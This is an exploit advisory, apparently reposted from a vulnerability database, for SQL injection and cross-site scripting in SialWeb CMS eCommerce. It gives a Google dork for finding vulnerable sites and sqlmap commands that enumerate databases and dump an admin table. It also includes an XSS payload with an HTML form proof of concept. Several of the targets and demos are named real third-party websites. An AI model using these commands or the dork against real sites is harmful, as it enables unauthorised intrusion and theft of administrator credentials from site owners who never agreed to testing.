SialWeb CMS eCommerce 1.0 / 1.1 Cross Site Scripting / SQL Injection

2020.03.25
Credit: thelastvvv
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89
CWE-79

# Exploit Title: SialWeb CMS SQL Injection & XSS Vulnerability # Google Dork: intext:" By Sial Web" +inurl:/.php?id= # Date: 2020-03-22 # Exploit Author: @ThelastVvV # Vendor Homepage: https://sialweb.net/ # Tested on: Ubuntu --------------------------------------------------------- PoC 1: The remote sql injection web vulnerability can be exploited by remote attackers without user interaction or privilege web-application user account. For security demonstration or to reproduce follow the provided information and steps below to continue. Payload(s) http://www.zaryabind.com/about.php?Id=[]'[SQL INJECTION VULNERABILITY!] SQLMAP Payload(s): sqlmap -u http://www.zaryabind.com/about.php?Id=4 --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dbs sqlmap -u http://www.zaryabind.com/about.php?Id=4 --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" -D zaryabin_db --tables sqlmap -u http://www.zaryabind.com/about.php?Id=4 --identify-waf --random-agent -v 3 --tamper="between,randomcase,space2comment" --dump -D zaryabin_db -T tbl_admin *Note: once you get the db name you can skip the other steps and directly get "tbl_admin" data (you can use command 1 and 3 ..above ) PoC 2 : XSS Vulnerability Payload(s) : in Search box use payload: <img src=x onerror=prompt(document.domain) onerror=prompt(document.domain) onerror=prompt(document.domain)> <html> <body> <div id="search-category" class="input-group"> <form class="search-box" action="https://www.megafightgear.com.pk/search.php" method="post"> <input class="form-control" placeholder="Search here..." id="text-search" name="tsearch" value="<img src=x onerror=prompt(document.domain) onerror=prompt(document.domain) onerror=prompt(document.domain)>" type="search"> <button id="btn-search-category" type="submit"> <i class="fa fa-search">&nbsp;</i> </button> </form> </div> </body> </html> demo(s): http://www.zaryabind.com/about.php?Id=4%27 https://www.megafightgear.com.pk/about.php?Id=1%27 http://www.aplus.com.pk/about.php?Id=3 Sent with [ProtonMail](https://protonmail.com) Secure Email.


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top